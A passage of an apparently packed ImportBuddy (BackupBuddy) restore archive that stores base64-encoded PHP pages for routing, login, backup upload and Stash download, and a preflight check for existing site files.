cHJvdmlkZSBsb2dpbiBwYWdlLgoJCSRzdGVwID0gJ2xvZ2luJzsKCX0gZWxzZSB7CgkJJHN0ZXAgPSBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3N0ZXAnICk7CgkJQXV0aDo6cmVxdWlyZV9hdXRoZW50aWNhdGlvbigpOyAvLyBEaWUgaWYgbm90IGxvZ2dlZCBpbi4KCX0KCQp9IGVsc2UgeyAvLyBVbmtub3duLiBEZWZhdWx0IHRvIGxvZ2luLgoJaWYgKCB0cnVlICE9PSBBdXRoOjppc19hdXRoZW50aWNhdGVkKCkgKSB7IC8vIElmIG5vdCBsb2dnZWQgaW4gdGhlbiBwcm92aWRlIGxvZ2luIHBhZ2UuCgkJJHN0ZXAgPSAnbG9naW4nOwoJfSBlbHNlIHsKCQkkc3RlcCA9ICdob21lQmFja3VwU2VsZWN0JzsKCX0KfQoKJHN0ZXBGaWxlID0gQUJTUEFUSCAuICdpbXBvcnRidWRkeS9jb250cm9sbGVycy9wYWdlcy8nIC4gJHN0ZXAgLiAnLnBocCc7CiRzdGVwID0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdzdGVwJyApOwpyZXF1aXJlX29uY2UoIEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvdmlld3MvX2hlYWRlci5waHAnICk7CmVjaG8gJzwhLS0gU3RhcnRpbmcgc3RlcCBmaWxlIGAnIC4gYmFzZW5hbWUoICRzdGVwRmlsZSApIC4gJ2AuIC0tPic7CgovKmlmICggJHN0ZXAgPiAwICkgeyAvLyBMb2FkIHN0ZXBzIGFmdGVyIDAgaW4gaWZyYW1lLgoJZWNobyBwYl9iYWNrdXBidWRkeTo6JGNsYXNzZXNbJ2ltcG9ydCddLT5zdGF0dXNfYm94KCAnSW1wb3J0QnVkZHkgdicgLiBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2JiX3ZlcnNpb24nXSAuICcuLi4gUG93ZXJlZCBieSBCYWNrdXBCdWRkeS4nICk7CgllY2hvICc8aWZyYW1lIGlkPSJwYl9iYWNrdXBidWRkeV9tb2RhbF9pZnJhbWUiIG5hbWU9InBiX2JhY2t1cGJ1ZGR5X21vZGFsX2lmcmFtZSIgc3JjPSInIC4gcGJfYmFja3VwYnVkZHk6OnBhZ2VfdXJsKCkgLiAnaW1wb3J0YnVkZHkucGhwP2FqYXg9JyAuICRzdGVwIC4gJyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTgwMCIgZnJhbWVib3JkZXI9IjAiIHBhZGRpbmc9IjAiIG1hcmdpbj0iMCI+RXJyb3IgIzQ1ODQ1OTQ1NzkuIEJyb3dzZXIgbm90IGNvbXBhdGlibGUgd2l0aCBpZnJhbWVzLjwvaWZyYW1lPic7Cn0gZWxzZSB7CgkqLwoJaWYgKCBmaWxlX2V4aXN0cyggJHN0ZXBGaWxlICkgKSB7CgkJcmVxdWlyZV9vbmNlKCAkc3RlcEZpbGUgKTsKCX0gZWxzZSB7CgkJZWNobyAne0Vycm9yOiBJbnZhbGlkIHN0ZXAgZmlsZSBgJyAuIGh0bWxlbnRpdGllcyggJHN0ZXAgKSAuICcucGhwJyAuICdgLn0nOwoJfQovL30KcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRmluaXNoZWQgc3RlcC4nICk7CnJlcXVpcmVfb25jZSggQUJTUEFUSCAuICdpbXBvcnRidWRkeS92aWV3cy9fZm9vdGVyLnBocCcgKTsKCnJldHVybjsKCg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/pages/default.php,importbuddy/controllers/pages/default.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/pages/homeBackupSelect.php,importbuddy/controllers/pages/homeBackupSelect.php
PD9waHAKLyoqCiAqIEhvbWUgQmFja3VwIFNlbGVjdCBWaWV3IEZpbGUuCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqLwoKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CgovLyBPbiBpbml0aWFsIGxvZ2luIHRvIFN0ZXAgMSAoY2hlY2tzIGZvciBwYXNzd29yZCBmaWVsZCBmcm9tIGF1dGggZm9ybSkgcmVzZXQgYW55IGRhbmdsaW5nIGRlZmF1bHRzIGZyb20gYSBwYXJ0aWFsIHJlc3RvcmUuCmlmICggKCB0cnVlID09PSBBdXRoOjppc19hdXRoZW50aWNhdGVkKCkgKSAmJiAoIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3Bhc3N3b3JkJyApICE9ICcnICkgKSB7CglwYl9iYWNrdXBidWRkeTo6cmVzZXRfZGVmYXVsdHMoKTsKfQoKLy8gSGFuZGxlIHNtYWxsIHNpemUgUEhQIHVwbG9hZCBsaW1pdCBrbm9ja2luZyBvZmYgYXV0aGVudGljYXRpb24gd2hlbiB1cGxvYWRpbmcgYSBiYWNrdXAuCmlmICggaXNzZXQoICRfU0VSVkVSWydDT05URU5UX0xFTkdUSCddICkgJiYgKCBpbnR2YWwoICRfU0VSVkVSWydDT05URU5UX0xFTkdUSCddICkgPiAwICkgJiYgKCBjb3VudCggJF9QT1NUICkgPT09IDAgKSApIHsKCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ0Vycm9yICM1NDg0NTQ4NTk1LiBVbmFibGUgdG8gdXBsb2FkLiBZb3VyIFBIUCBwb3N0X21heF9zaXplIHNldHRpbmcgaXMgdG9vIHNtYWxsIHNvIGl0IGRpc2NhcmRlZCBQT1NUIGRhdGEuIFlvdSBtYXkgaGF2ZSB0byBsb2cgYmFjayBpbi4nLCB0cnVlICk7Cn0KdXBsb2FkKCk7IC8vIEhhbmRsZSBhbnkgdXBsb2FkaW5nIG9mIGEgYmFja3VwIGZpbGUuCgokZGF0YSA9IGFycmF5KCk7CgovKioKICogUHJvY2Vzc2VzIHVwbG9hZGVkIGJhY2t1cCBmaWxlLgogKgogKiBAcmV0dXJuIGFycmF5ICBUcnVlIG9uIHVwbG9hZCBzdWNjZXNzOyBmYWxzZSBvdGhlcndpc2UuCiAqLwpmdW5jdGlvbiB1cGxvYWQoKSB7CgoJQXV0aDo6cmVxdWlyZV9hdXRoZW50aWNhdGlvbigpOwoKCWlmICggaXNzZXQoICRfUE9TVFsndXBsb2FkJ10gKSAmJiAoICRfUE9TVFsndXBsb2FkJ10gPT0gJ2xvY2FsJyApICkgewoJCSRwYXRoX3BhcnRzID0gcGF0aGluZm8oICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddICk7CgkJaWYgKCAoIHN0cnRvbG93ZXIoIHN1YnN0ciggJF9GSUxFU1snZmlsZSddWyduYW1lJ10sIDAsIDYgKSApID09ICdiYWNrdXAnICkgJiYgKCBzdHJ0b2xvd2VyKCAkcGF0aF9wYXJ0c1snZXh0ZW5zaW9uJ10gKSA9PSAnemlwJyApICkgewoJCQlpZiAoIG1vdmVfdXBsb2FkZWRfZmlsZSggJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCBiYXNlbmFtZSggJF9GSUxFU1snZmlsZSddWyduYW1lJ10gKSApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCAnRmlsZSBVcGxvYWRlZC4gWW91ciBiYWNrdXAgd2FzIHN1Y2Nlc3NmdWxseSB1cGxvYWRlZC4nICk7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfSBlbHNlIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ1NvcnJ5LCB0aGVyZSB3YXMgYSBwcm9ibGVtIHVwbG9hZGluZyB5b3VyIGZpbGUuJywgdHJ1ZSApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCAnT25seSBwcm9wZXJseSBuYW1lZCBCYWNrdXBCdWRkeSB6aXAgYXJjaGl2ZXMgd2l0aCBhIHppcCBleHRlbnNpb24gbWF5IGJlIHVwbG9hZGVkLicsIHRydWUgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCX0KCgkvLyBET1dOTE9BRCBGSUxFIEZST00gU1RBU0ggVE8gTE9DQUwuCglpZiAoIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3VwbG9hZCcgKSA9PSAnc3Rhc2gnICkgewoKCQlwYl9iYWNrdXBidWRkeTo6c2V0X2dyZWVkeV9zY3JpcHRfbGltaXRzKCB0cnVlICk7CgoJCSRyZXF1ZXN0Y29yZV9maWxlID0gZGlybmFtZSggZGlybmFtZSggZGlybmFtZSggX19GSUxFX18gKSApICkgLiAnL2xpYi9yZXF1ZXN0Y29yZS9yZXF1ZXN0Y29yZS5jbGFzcy5waHAnOwoJCXJlcXVpcmVfb25jZSAkcmVxdWVzdGNvcmVfZmlsZTsKCgkJJGxpbmsgICAgICAgICAgICAgPSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdsaW5rJyApOwoJCSRkZXN0aW5hdGlvbl9maWxlID0gZGlybmFtZSggZGlybmFtZSggZGlybmFtZSggZGlybmFtZSggX19GSUxFX18gKSApICkgKSAuICcvJyAuIGJhc2VuYW1lKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdsaW5rJyApICk7CgkJJGRlc3RpbmF0aW9uX2ZpbGUgPSBzdWJzdHIoICRkZXN0aW5hdGlvbl9maWxlLCAwLCBzdHJpcG9zKCAkZGVzdGluYXRpb25fZmlsZSwgJy56aXAnICkgKyA0ICk7CgoJCSRfR0VUWydmaWxlJ10gPSBiYXNlbmFtZSggJGRlc3RpbmF0aW9uX2ZpbGUgKTsKCgkJJHJlcXVlc3QgPSBuZXcgUmVxdWVzdENvcmUoICRsaW5rICk7CgkJJHJlcXVlc3QtPnNldF93cml0ZV9maWxlKCAkZGVzdGluYXRpb25fZmlsZSApOwoKCQllY2hvICc8ZGl2IGlkPSJwYl9pbXBvcnRidWRkeV93b3JraW5nIiBzdHlsZT0icGFkZGluZzogMjBweDsiPkRvd25sb2FkaW5nIGJhY2t1cCBmcm9tIFN0YXNoIHRvIGAnIC4gJGRlc3RpbmF0aW9uX2ZpbGUgLiAnYC4uLjxicj48YnI+PGltZyBzcmM9IicgLiBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3VybCgpIC4gJy9pbWFnZXMvbG9hZGluZ19sYXJnZS5naWYiIHRpdGxlPSJXb3JraW5nLi4uIFBsZWFzZSB3YWl0IGFzIHRoaXMgbWF5IHRha2UgYSBtb21lbnQuLi4iPjxicj48YnI+PC9kaXY+JzsKCQlwYl9iYWNrdXBidWRkeTo6Zmx1c2goKTsKCgkJJHJlc3BvbnNlID0gJHJlcXVlc3QtPnNlbmRfcmVxdWVzdCggZmFsc2UgKTsKCQlpZiAoICRyZXNwb25zZSAhPT0gdHJ1ZSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCAnRXJyb3IgIzg1NDg0NTk1OTguIFVuYWJsZSB0byBkb3dubG9hZCBmaWxlIGZyb20gU3Rhc2guIFlvdSBtYXkgbWFudWFsbHkgZG93bmxvYWQgaXQgYW5kIHVwbG9hZCB0byB0aGUgc2VydmVyIHZpYSBGVFAuJyApOwoJCX0gZWxzZSB7IC8vIE5vIGVycm9yLgoJCQlpZiAoICEgZmlsZV9leGlzdHMoICRkZXN0aW5hdGlvbl9maWxlICkgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6YWxlcnQoICdFcnJvciAjMzQ4NDU3NDU4NzguIFN0YXNoIHJldHVybmVkIGEgc3VjY2VzcyBidXQgdGhlIGJhY2t1cCBmaWxlIHdhcyBub3QgZm91bmQgbG9jYWxseS4gQ2hlY2sgdGhpcyBzZXJ2ZXJcJ3MgZGlyZWN0b3J5IHdyaXRlIHBlcm1pc3Npb25zLiBZb3UgbWF5IG1hbnVhbGx5IGRvd25sb2FkIGl0IGFuZCB1cGxvYWQgdG8gdGhlIHNlcnZlciB2aWEgRlRQLicgKTsKCQkJfQoJCX0KCgkJZWNobyAnPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmpRdWVyeSgiI3BiX2ltcG9ydGJ1ZGR5X3dvcmtpbmciKS5oaWRlKCk7PC9zY3JpcHQ+JzsKCgl9Cn0KCi8qKgogKiBSZXR1cm5zIGFuIGFycmF5IG9mIGJhY2t1cCBhcmNoaXZlIHppcCBmaWxlbmFtZXMgZm91bmQuCiAqCiAqIEByZXR1cm4gYXJyYXkgIEFycmF5IG9mIC56aXAgZmlsZW5hbWVzOyBwYXRoIE5PVCBpbmNsdWRlZC4KICovCmZ1bmN0aW9uIGdldF9hcmNoaXZlc19saXN0KCkgewoKCUF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsKCglpZiAoICEgaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1snemlwYnVkZHknXSApICkgewoJCXJlcXVpcmVfb25jZSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3ppcGJ1ZGR5L3ppcGJ1ZGR5LnBocCc7CgkJcGJfYmFja3VwYnVkZHk6OiRjbGFzc2VzWyd6aXBidWRkeSddID0gbmV3IHBsdWdpbmJ1ZGR5X3ppcGJ1ZGR5KCBBQlNQQVRIICk7Cgl9CgoJLy8gTGlzdCBiYWNrdXAgZmlsZXMgaW4gdGhpcyBkaXJlY3RvcnkuCgkkYmFja3VwX2FyY2hpdmVzID0gYXJyYXkoKTsKCSRiYWNrdXBfemlwcyAgICAgPSBnbG9iKCBBQlNQQVRIIC4gJ2JhY2t1cCouemlwJyApOwoJaWYgKCAhIGlzX2FycmF5KCAkYmFja3VwX3ppcHMgKSApIHsKCQkkYmFja3VwX3ppcHMgPSBhcnJheSgpOwoJfQoJJHNuYXBzaG90X3ppcHMgPSBnbG9iKCBBQlNQQVRIIC4gJ3NuYXBzaG90Ki56aXAnICk7CglpZiAoICEgaXNfYXJyYXkoICRzbmFwc2hvdF96aXBzICkgKSB7CgkJJHNuYXBzaG90X3ppcHMgPSBhcnJheSgpOwoJfQoJJGJhY2t1cF9hcmNoaXZlc19nbG9iID0gYXJyYXlfbWVyZ2UoICRiYWNrdXBfemlwcywgJHNuYXBzaG90X3ppcHMgKTsKCXVuc2V0KCAkYmFja3VwX3ppcHMgKTsKCXVuc2V0KCAkc25hcHNob3RfemlwcyApOwoJZm9yZWFjaCAoICRiYWNrdXBfYXJjaGl2ZXNfZ2xvYiBhcyAkYmFja3VwX2FyY2hpdmUgKSB7CgkJJGNvbW1lbnQgPSBwYl9iYWNrdXBidWRkeTo6JGNsYXNzZXNbJ3ppcGJ1ZGR5J10tPmdldF9jb21tZW50KCAkYmFja3VwX2FyY2hpdmUgKTsKCQkkY29tbWVudCA9IGJhY2t1cGJ1ZGR5X2NvcmU6Om5vcm1hbGl6ZV9jb21tZW50X2RhdGEoICRjb21tZW50ICk7CgoJCSR0aGlzX2FyY2hpdmUgICAgICA9IGFycmF5KAoJCQknZmlsZScgICAgPT4gYmFzZW5hbWUoICRiYWNrdXBfYXJjaGl2ZSApLAoJCQknY29tbWVudCcgPT4gJGNvbW1lbnQsCgkJKTsKCQkkYmFja3VwX2FyY2hpdmVzW10gPSAkdGhpc19hcmNoaXZlOwoJfQoJdW5zZXQoICRiYWNrdXBfYXJjaGl2ZXNfZ2xvYiApOwoKCXJldHVybiAkYmFja3VwX2FyY2hpdmVzOwp9CgovKioKICogQ2hlY2tzIGZvciBwb3RlbnRpYWwgcHJvYmxlbXMgYmVmb3JlIGdldHRpbmcgc3RhcnRlZC4KICoKICogQHJldHVybiBhcnJheSAgUG90ZW50aWFsIHByb2JsZW1zLiBLZXkgaXMgYSB1bmlxdWUgc2x1ZyB0byB0aGUgaXNzdWUsIHZhbHVlIGlzIGEgZGVzY3JpcHRpdmUgdGV4dC4KICovCmZ1bmN0aW9uIHByZWZsaWdodFNjYW4oKSB7CgkkaXNzdWVzID0gYXJyYXkoKTsKCglpZiAoIGZpbGVfZXhpc3RzKCBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnICkgKSB7CgkJJGlzc3Vlc1snd29yZHByZXNzX2V4aXN0cyddID0gJ1dBUk5JTkc6IEV4aXN0aW5nIFdvcmRQcmVzcyBpbnN0YWxsYXRpb24gZm91bmQuIEl0IGlzIHN0cm9uZ2x5IHJlY29tbWVuZGVkIHRoYXQgZXhpc3RpbmcgV29yZFByZXNzIGZpbGVzIGFuZCBkYXRhYmFzZSBiZSByZW1vdmVkIHByaW9yIHRvIG1pZ3JhdGluZyBvciByZXN0b3JpbmcgdG8gYXZvaWQgY29uZmxpY3RzLiBZb3Ugc2hvdWxkIG5vdCBpbnN0YWxsIFdvcmRQcmVzcyBwcmlvciB0byBtaWdyYXRpbmcuJzsKCX0KCglpZiAoIGZpbGVfZXhpc3RzKCBBQlNQQVRIIC4gJ3BocC5pbmknICkgKSB7CgkJJGlzc3Vlc1sncGhwX2luaV9leGlzdHMnXSA9ICdXQVJOSU5HOiBFeGlzdGluZyBwaHAuaW5pIGZpbGUgZm91bmQgd2hpY2ggY29uZmlndXJlcyBjdXN0b20gUEhQIHNldHRpbmdzLiBJZiB5b3VyIGJhY2t1cCBhbHNvIGNvbnRhaW5zIGEgcGhwLmluaSBmaWxlIGl0IG1heSBvdmVyd3JpdGUgdGhlIGN1cnJlbnQgb25lLCBwb3NzaWJseSByZXN1bHRpbmcgaW4gY2hhbmdlcyBpbiBjb25maWd1cmF0aW9uIG9yIHByb2JsZW1zLiBNYWtlIGEgYmFja3VwIG9mIHlvdXIgZXhpc3RpbmcgZmlsZSBpZiB5b3VyIGFyZSB1bnN1cmUuJzsKCX0KCglpZiAoIGZpbGVfZXhpc3RzKCBBQlNQQVRIIC4gJy51c2VyLmluaScgKSApIHsKCQkkaXNzdWVzWydwaHBfaW5pX2V4aXN0cyddID0gJ1dBUk5JTkc6IEV4aXN0aW5nIC51c2VyLmluaSBmaWxlIGZvdW5kIHdoaWNoIGNvbmZpZ3VyZXMgY3VzdG9tIFBIUCBzZXR0aW5ncy4gSWYgeW91ciBiYWNrdXAgYWxzbyBjb250YWlucyBhIC51c2VyLmluaSBmaWxlIGl0IG1heSBvdmVyd3JpdGUgdGhlIGN1cnJlbnQgb25lLCBwb3NzaWJseSByZXN1bHRpbmcgaW4gY2hhbmdlcyBpbiBjb25maWd1cmF0aW9uIG9yIHByb2JsZW1zLiBNYWtlIGEgYmFja3VwIG9mIHlvdXIgZXhpc3RpbmcgZmlsZSBpZiB5b3VyIGFyZSB1bnN1cmUuJzsKCX0KCglpZiAoIGZpbGVfZXhpc3RzKCBBQlNQQVRIIC4gJy5odGFjY2VzcycgKSApIHsKCQkkaXNzdWVzWydodGFjY2Vzc19leGlzdHMnXSA9ICdXQVJOSU5HOiBFeGlzdGluZyAuaHRhY2Nlc3MgZmlsZSBmb3VuZC4gSWYgeW91ciBiYWNrdXAgYWxzbyBjb250YWlucyBhIC5odGFjY2VzcyBmaWxlIGl0IG1heSBvdmVyd3JpdGUgdGhlIGN1cnJlbnQgb25lLCBwb3NzaWJseSByZXN1bHRpbmcgaW4gY2hhbmdlcyBpbiBjb25maWd1cmF0aW9uIG9yIHByb2JsZW1zLiBNYWtlIGEgYmFja3VwIG9mIHlvdXIgZXhpc3RpbmcgZmlsZSBpZiB5b3UgYXJlIHVuc3VyZS4nOwoJfQoKCS8qCgkgVE9ETzogTW92ZSB0byBwb3N0IGZsaWdodCBzY2FuLgoJaWYgKCAoIGZpbGVfZXhpc3RzKCBBQlNQQVRIIC4gJ2luZGV4Lmh0bScgKSA9PT0gdHJ1ZSApIHx8ICggZmlsZV9leGlzdHMoIEFCU1BBVEggLiAnaW5kZXguaHRtbCcgKSA9PT0gdHJ1ZSApICkgewoJCSRpc3N1ZXNbJ2luZGV4X2V4aXN0cyddID0gJ0FuIGluZGV4Lmh0bShsKSBmaWxlIGV4aXN0cyBpbiB0aGlzIHNpdGUgcGF0aC4gRGVwZW5kaW5nIG9uIHlvdXIgc2VydmVyIHNldHVwIGl0IG1heSB0YWtlIHByZWNlZGVuY2UgaW4gbG9hZGluZyBpbnN0ZWFkIG9mIFdvcmRQcmVzcy4gSWYgYWZ0ZXIgcmVzdG9yZSB5b3VyIHNpdGUgbG9hZHMgYW4gdW5leHBlY3RlZCBvciBibGFuayBwYWdlLCB0cnkgcmVuYW1pbmcgb3IgZGVsZXRpbmcgdGhlIGluZGV4Lmh0bShsKSBmaWxlKHMpIGluIHRoZSBzaXRlIHJvb3QsIGAnIC4gQUJTUEFUSCAuICdgLic7Cgl9CgkqLwoKCS8vIExvb2sgZm9yIGRpcmVjdG9yaWVzIG5hbWVkIGFmdGVyIGEgYmFja3VwIGZpbGUgdGhhdCBjb250YWluIFdvcmRQcmVzcy4gLS0gaW1wcm9wZXJseSB1bnppcHBlZCBpbiB0aGUgd3JvbmcgbG9jYXRpb24uCgkkYmFja3VwX2RpcnMgPSBnbG9iKCBBQlNQQVRIIC4gJ2JhY2t1cC0qL3dwLWxvZ2luLnBocCcgKTsKCWlmICggISBpc19hcnJheSggJGJhY2t1cF9kaXJzICkgKSB7CgkJJGJhY2t1cF9kaXJzID0gYXJyYXkoKTsKCX0KCWlmICggY291bnQoIChhcnJheSkgJGJhY2t1cF9kaXJzICkgPiAwICkgewoJCSRpc3N1ZXNbJ21hbnVhbF91bnppcF93cm9uZ19sb2NhdGlvbiddID0gJ0EgbWFudWFsbHkgdW56aXBwZWQgYmFja3VwIG1heSBoYXZlIGJlZW4gZm91bmQgaW4gdGhlIGZvbGxvd2luZyBsb2NhdGlvbihzKS4gSWYgeW91IG1hbnVhbGx5IHVuemlwcGVkIGNvbmZpcm0gdGhlIGZpbGVzIHdlcmUgbm90IHVuemlwcGVkIGludG8gdGhpcyBzdWJkaXJlY3RvcnkgZWxzZSB0aGV5IHdpbGwgbmVlZCB0byBiZSBtb3ZlZCB1cCBvdXQgb2YgdGhlIHN1YmRpcmVjdG9yeSBpbnRvIHRoZSBzYW1lIGRpcmVjdG9yeSBhcyBpbXBvcnRidWRkeS5waHAuIFBvc3NpYmxlIG1hbnVhbGx5IHVuemlwcGVkIGJhY2t1cHMgaW4gYSBzdWJkaXJlY3Rvcnk6ICcgLiBpbXBsb2RlKCAnLCAnLCAkYmFja3VwX2RpcnMgKTsKCX0KCglyZXR1cm4gJGlzc3VlczsKfQoKCgpwYl9iYWNrdXBidWRkeTo6bG9hZF92aWV3KCAnaG9tZScsICRkYXRhICk7CgovLyBMT0cgSU1QT1JUQlVERFkgVkVSU0lPTiBJTkZPUk1BVElPTi4KcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUnVubmluZyBJbXBvcnRCdWRkeSB2JyAuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snYmJfdmVyc2lvbiddIC4gJy4nICk7Cg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/pages/homeBackupSelect.php,importbuddy/controllers/pages/homeBackupSelect.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/pages/index.php,importbuddy/controllers/pages/index.php
PD9waHAgLy8gU2lsZW5jZSBpcyBnb2xkZW4u
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/pages/index.php,importbuddy/controllers/pages/index.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/pages/login.php,importbuddy/controllers/pages/login.php
PD9waHAKLyoqCiAqIExvZ2luIFBhZ2UKICoKICogQHBhY2thZ2UgQmFja3VwQnVkZHkKICovCgo/Pgo8c2NyaXB0PmpRdWVyeSggJyNwYWdlVGl0bGUnICkuaHRtbCggJ0F1dGhlbnRpY2F0aW9uIFJlcXVpcmVkJyApOzwvc2NyaXB0Pgo8P3BocAppZiAoICcnICE9IHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJ3Bhc3N3b3JkJyApICkgewoJZ2xvYmFsICRwYl9sb2dpbl9hdHRlbXB0czsKCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ0ludmFsaWQgcGFzc3dvcmQuIFBsZWFzZSBlbnRlciB0aGUgcGFzc3dvcmQgeW91IHByb3ZpZGVkIHdpdGhpbiBCYWNrdXBCdWRkeSBTZXR0aW5ncy4gQXR0ZW1wdCAjJyAuICRwYl9sb2dpbl9hdHRlbXB0cyAuICcuJyApOwoJZWNobyAnPGJyPic7Cn0KCmlmICggISBpc19jYWxsYWJsZSggJ2pzb25fZGVjb2RlJyApICkgewoJJG1lc3NhZ2UgPSAnRXJyb3IgIzg0Mzk4NDM0OiBNaXNzaW5nIHJlcXVpcmVkIFBIUCBmdW5jdGlvbiBqc29uX2RlY29kZSgpLiBZb3VyIFBIUCB2ZXJzaW9uIGlzIHRvbyBvbGQgb3IgZGFtYWdlZC4gSXQgaXMgTk9UIGNvbXBhdGlibGUgd2l0aCBXb3JkUHJlc3MgYXMgaXQgaXMuIFBsZWFzZSBjb250YWN0IHlvdXIgaG9zdCB0byBmaXggdGhpcy4nOwoJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UgKTsKCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJG1lc3NhZ2UsIHRydWUgKTsKfQo/PgoKPHA+RW50ZXIgeW91ciBJbXBvcnRCdWRkeSBwYXNzd29yZCBiZWxvdyB0byBiZWdpbi48L3A+Cgo8YnI+Cgo8Zm9ybSBtZXRob2Q9InBvc3QiIGlkPSJpbXBvcnRidWRkeS1hdXRoLWZvcm0iPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ibG9naW4iPgoJPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCIgc3R5bGU9IndpZHRoOiAyNTBweDsgdmVydGljYWwtYWxpZ246IC0ycHg7Ij4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkF1dGhlbnRpY2F0ZSIgY2xhc3M9Iml0LWJ1dHRvbiI+Cgk8YnV0dG9uIGhyZWY9IiNwYl9mb3Jnb3RwYXNzd29yZF9tb2RhbCIgY2xhc3M9ImJ1dHRvbiBidXR0b24tc2Vjb25kYXJ5IGxlYW5Nb2RhbCBjcmVhdGVkYl9tb2RhbF9saW5rIj5Gb3Jnb3QgUGFzc3dvcmQ/PC9idXR0b24+CjwvZm9ybT4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCWpRdWVyeShmdW5jdGlvbigpIHsKCQlqUXVlcnkoICcjaW1wb3J0YnVkZHktYXV0aC1mb3JtIGlucHV0W3R5cGU9cGFzc3dvcmRdJyApLmZvY3VzKCk7CgoJCWpRdWVyeSgnLmxlYW5Nb2RhbCcpLmxlYW5Nb2RhbCgKCQkJeyB0b3AgOiA0NSwgb3ZlcmxheSA6IDAuNCwgY2xvc2VCdXR0b246ICIubW9kYWxfY2xvc2UiIH0KCQkpOwoKCQlqUXVlcnkoICcjY3JlYXRlcGFzc19mb3JtJyApLnN1Ym1pdChmdW5jdGlvbigpewoKCQkJaWYgKCBqUXVlcnkoICcjbmV3X3Bhc3MnICkudmFsKCkgIT0galF1ZXJ5KHRoaXMpLmZpbmQoICcjbmV3X3Bhc3NfY29uZmlybScgKS52YWwoKSApIHsKCQkJCWFsZXJ0KCAnUGFzc3dvcmQgYW5kIGNvbmZpcm1hdGlvbiBkbyBub3QgbWF0Y2guJyApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgoJCQlpZiAoICcnID09PSBqUXVlcnkoICcjbmV3X3Bhc3MnICkudmFsKCkgKSB7CgkJCQlhbGVydCggJ1lvdSBtdXN0IHByb3ZpZGUgYSBuZXcgcGFzc3dvcmQuJyApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgoJCQlqUXVlcnkoICcuY3JlYXRlcGFzc19sb2FkaW5nJyApLnNob3coKTsKCQkJalF1ZXJ5LnBvc3QoJ2ltcG9ydGJ1ZGR5LnBocD9hamF4PWhhc2hfZm9yZ290cGFzcycsCgkJCXsKCQkJCW5ld3Bhc3N3b3JkOiBqUXVlcnkoICcjbmV3X3Bhc3MnICkudmFsKCksCgkJCX0sIGZ1bmN0aW9uKGRhdGEpIHsKCgkJCQkJZGF0YSA9IGpRdWVyeS50cmltKCBkYXRhICk7CgkJCQkJalF1ZXJ5KCAnLmNyZWF0ZXBhc3NfbG9hZGluZycgKS5oaWRlKCk7CgoJCQkJCWpRdWVyeSggJy5mb3Jnb3RwYXNzX2Zvcm1fd3JhcCcgKS5oaWRlKCk7CgkJCQkJalF1ZXJ5KCAnLmZvcmdvdHBhc3NfZmluaXNoX2hhc2gnKS52YWwoIGRhdGEgKTsKCQkJCQlqUXVlcnkoICcuZm9yZ290cGFzc19maW5pc2hfd3JhcCcgKS5zaG93KCk7CgkJCQl9CgkJCSk7CgoJCQlyZXR1cm4gZmFsc2U7CgoJCX0pOwoJfSk7Cjwvc2NyaXB0PgoKPGRpdiBpZD0icGJfZm9yZ290cGFzc3dvcmRfbW9kYWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+Cgk8ZGl2IGNsYXNzPSJtb2RhbCI+CgkJPGRpdiBjbGFzcz0ibW9kYWxfaGVhZGVyIj4KCQkJPGEgY2xhc3M9Im1vZGFsX2Nsb3NlIj4mdGltZXM7PC9hPgoJCQk8aDI+UGF